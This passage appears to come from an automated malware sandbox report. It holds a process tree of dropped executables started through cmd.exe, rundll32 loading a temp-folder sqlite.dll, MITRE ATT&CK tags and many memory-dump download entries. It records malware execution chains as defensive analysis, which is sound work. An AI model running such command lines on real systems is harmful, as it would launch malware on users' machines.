    PID:2276
  - - C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon209df24d5e8f7.exe
      Mon209df24d5e8f7.exe
      4⤵
      Executes dropped EXE
      PID:1280
    - - C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon209df24d5e8f7.exe
        
        Mon209df24d5e8f7.exe
        5⤵
        
        PID:4176
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon200820e9da.exe
    3⤵
    PID:2456
  - - C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon200820e9da.exe
      Mon200820e9da.exe
      4⤵
      Executes dropped EXE
      PID:3632
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon2009d34d832dfd1d9.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4012
  - - C:\Users\Admin\AppData\Local\Temp\7zS0CCA4AC6\Mon2009d34d832dfd1d9.exe
      Mon2009d34d832dfd1d9.exe
      4⤵
      Executes dropped EXE
      PID:2844
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3944 -s 540
    3⤵
    - Program crash
    PID:2552

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5024
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:5048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:4320

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Web Service

T1102

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/312-344-0x000001D164B00000-0x000001D164B72000-memory.dmp

Filesize
456KB

Download
memory/616-259-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/676-289-0x0000000005100000-0x0000000005706000-memory.dmp

Filesize
6.0MB

Download
memory/676-271-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/676-290-0x00000000051A0000-0x00000000051A1000-memory.dmp

Filesize
4KB

Download
memory/916-371-0x000001363D500000-0x000001363D572000-memory.dmp

Filesize
456KB

Download
memory/1056-356-0x000001CC47B40000-0x000001CC47BB2000-memory.dmp

Filesize
456KB

Download
memory/1084-295-0x0000000003320000-0x00000000033AE000-memory.dmp

Filesize
568KB

Download
memory/1084-308-0x0000000000400000-0x00000000016FB000-memory.dmp

Filesize
19.0MB

Download
memory/1084-220-0x0000000001789000-0x00000000017D8000-memory.dmp

Filesize
316KB

Download
memory/1212-391-0x000002494D410000-0x000002494D482000-memory.dmp

Filesize
456KB

Download
memory/1220-392-0x0000020B98810000-0x0000020B98882000-memory.dmp

Filesize
456KB

Download
memory/1240-242-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/1280-277-0x0000000000030000-0x0000000000036000-memory.dmp

Filesize
24KB

Download
memory/1396-377-0x0000025E73C00000-0x0000025E73C72000-memory.dmp

Filesize
456KB

Download
memory/1848-375-0x0000024C31040000-0x0000024C310B2000-memory.dmp

Filesize
456KB

Download
memory/2116-248-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/2348-232-0x0000000005450000-0x0000000005451000-memory.dmp

Filesize
4KB

Download
memory/2348-222-0x0000000000C10000-0x0000000000C11000-memory.dmp

Filesize
4KB

Download
memory/2348-238-0x00000000053F0000-0x00000000053F1000-memory.dmp

Filesize
4KB

Download
memory/2348-241-0x00000000055C0000-0x00000000055C1000-memory.dmp

Filesize
4KB

Download
memory/2348-260-0x0000000005AD0000-0x0000000005AD1000-memory.dmp

Filesize
4KB

Download
memory/2364-340-0x00000000058A0000-0x00000000059EC000-memory.dmp

Filesize
1.3MB

Download
memory/2468-355-0x000001F7BCF70000-0x000001F7BCFE2000-memory.dmp

Filesize
456KB

Download
memory/2516-354-0x000001BB84280000-0x000001BB842F2000-memory.dmp

Filesize
456KB

Download
memory/2524-275-0x0000000005B80000-0x0000000005B81000-memory.dmp

Filesize
4KB

Download
memory/2524-282-0x0000000005680000-0x0000000005681000-memory.dmp

Filesize
4KB

Download
memory/2524-278-0x0000000002F30000-0x0000000002F31000-memory.dmp

Filesize
4KB

Download
memory/2524-294-0x0000000005570000-0x0000000005B76000-memory.dmp

Filesize
6.0MB

Download
memory/2524-264-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/2652-336-0x000002188A050000-0x000002188A0C2000-memory.dmp

Filesize
456KB

Download
memory/2652-328-0x00000218898A0000-0x00000218898A2000-memory.dmp

Filesize
8KB

Download
memory/2772-395-0x0000021C97940000-0x0000021C979B2000-memory.dmp

Filesize
456KB

Download
memory/2788-396-0x000001D4D4840000-0x000001D4D48B2000-memory.dmp

Filesize
456KB

Download
memory/2800-343-0x0000000002900000-0x0000000002916000-memory.dmp

Filesize
88KB

Download
memory/2844-247-0x0000000004BB0000-0x0000000004BB1000-memory.dmp

Filesize
4KB

Download
memory/2844-219-0x00000000003E0000-0x00000000003E1000-memory.dmp

Filesize
4KB

Download
memory/2844-237-0x0000000000D80000-0x0000000000D81000-memory.dmp

Filesize
4KB

Download
memory/2952-218-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/3016-311-0x0000000000400000-0x0000000002E10000-memory.dmp

Filesize
42.1MB

Download
memory/3016-213-0x0000000003096000-0x0000000003112000-memory.dmp

Filesize
496KB

Download
memory/3016-291-0x0000000004920000-0x00000000049F6000-memory.dmp

Filesize
856KB

Download
memory/3176-208-0x00000000025F0000-0x00000000025F1000-memory.dmp

Filesize
4KB

Download
memory/3176-207-0x00000000025F0000-0x00000000025F1000-memory.dmp

Filesize
4KB

Download
memory/3268-251-0x0000000007790000-0x0000000007791000-memory.dmp

Filesize
4KB

Download
memory/3268-253-0x0000000007FD0000-0x0000000007FD1000-memory.dmp

Filesize
4KB

Download
memory/3268-283-0x0000000008060000-0x0000000008061000-memory.dmp

Filesize
4KB

Download
memory/3268-318-0x0000000003570000-0x0000000003571000-memory.dmp

Filesize
4KB

Download
memory/3268-224-0x0000000003570000-0x0000000003571000-memory.dmp

Filesize
4KB

Download
memory/3268-221-0x0000000003570000-0x0000000003571000-memory.dmp

Filesize
4KB

Download
memory/3268-252-0x0000000007EB0000-0x0000000007EB1000-memory.dmp

Filesize
4KB

Download
memory/3268-233-0x0000000005162000-0x0000000005163000-memory.dmp

Filesize
4KB

Download
memory/3268-286-0x00000000089A0000-0x00000000089A1000-memory.dmp

Filesize
4KB

Download
memory/3268-231-0x0000000007880000-0x0000000007881000-memory.dmp

Filesize
4KB

Download
memory/3268-258-0x0000000008270000-0x0000000008271000-memory.dmp

Filesize
4KB

Download
memory/3268-373-0x000000007F570000-0x000000007F571000-memory.dmp

Filesize
4KB

Download
memory/3268-228-0x0000000005170000-0x0000000005171000-memory.dmp

Filesize
4KB

Download
memory/3268-229-0x0000000005160000-0x0000000005161000-memory.dmp

Filesize
4KB

Download
memory/3268-398-0x0000000005163000-0x0000000005164000-memory.dmp

Filesize
4KB

Download
memory/3384-223-0x0000000000A10000-0x0000000000A11000-memory.dmp

Filesize
4KB

Download
memory/3384-244-0x0000000005230000-0x00000000052A6000-memory.dmp

Filesize
472KB

Download
memory/3532-464-0x0000000005250000-0x00000000052FD000-memory.dmp

Filesize
692KB

Download
memory/3532-465-0x00000000053B0000-0x000000000545C000-memory.dmp

Filesize
688KB

Download
memory/3564-309-0x0000000000400000-0x0000000002DBD000-memory.dmp

Filesize
41.7MB

Download
memory/3564-293-0x00000000048C0000-0x0000000004909000-memory.dmp

Filesize
292KB

Download
memory/3564-214-0x0000000003036000-0x000000000305F000-memory.dmp

Filesize
164KB

Download
memory/3632-212-0x0000000002EA6000-0x0000000002EB6000-memory.dmp

Filesize
64KB

Download
memory/3632-299-0x0000000002DC0000-0x0000000002DC9000-memory.dmp

Filesize
36KB

Download
memory/3632-312-0x0000000000400000-0x0000000002DA4000-memory.dmp

Filesize
41.6MB

Download
memory/3944-139-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/3944-133-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/3944-136-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/3944-135-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/3944-134-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/3944-140-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/3944-142-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/3944-144-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/3944-143-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/3944-145-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/3944-138-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/3944-137-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/4176-266-0x0000000000400000-0x000000000040B000-memory.dmp

Filesize
44KB

Download
memory/4176-288-0x0000000000400000-0x000000000040B000-memory.dmp

Filesize
44KB

Download
memory/4320-482-0x000002633F690000-0x000002633F795000-memory.dmp

Filesize
1.0MB

Download
memory/4320-481-0x000002633CDC0000-0x000002633CDDB000-memory.dmp

Filesize
108KB

Download
memory/4320-342-0x000002633CFD0000-0x000002633D042000-memory.dmp

Filesize
456KB

Download
memory/4400-302-0x0000000000D70000-0x0000000000D71000-memory.dmp

Filesize
4KB

Download
memory/4400-301-0x0000000000D70000-0x0000000000D71000-memory.dmp

Filesize
4KB

Download
memory/5048-325-0x00000000049BE000-0x0000000004ABF000-memory.dmp

Filesize
1.0MB

Download
memory/5048-326-0x0000000004B40000-0x0000000004B9D000-memory.dmp

Filesize
372KB

Download
memory/5064-323-0x000002349B0B0000-0x000002349B0B2000-memory.dmp

Filesize
8KB

Download
memory/5064-324-0x000002349B0B0000-0x000002349B0B2000-memory.dmp

Filesize
8KB

Download
memory/5064-330-0x000002349B2C0000-0x000002349B30D000-memory.dmp

Filesize
308KB

Download
memory/5064-334-0x000002349BA10000-0x000002349BA82000-memory.dmp

Filesize
456KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads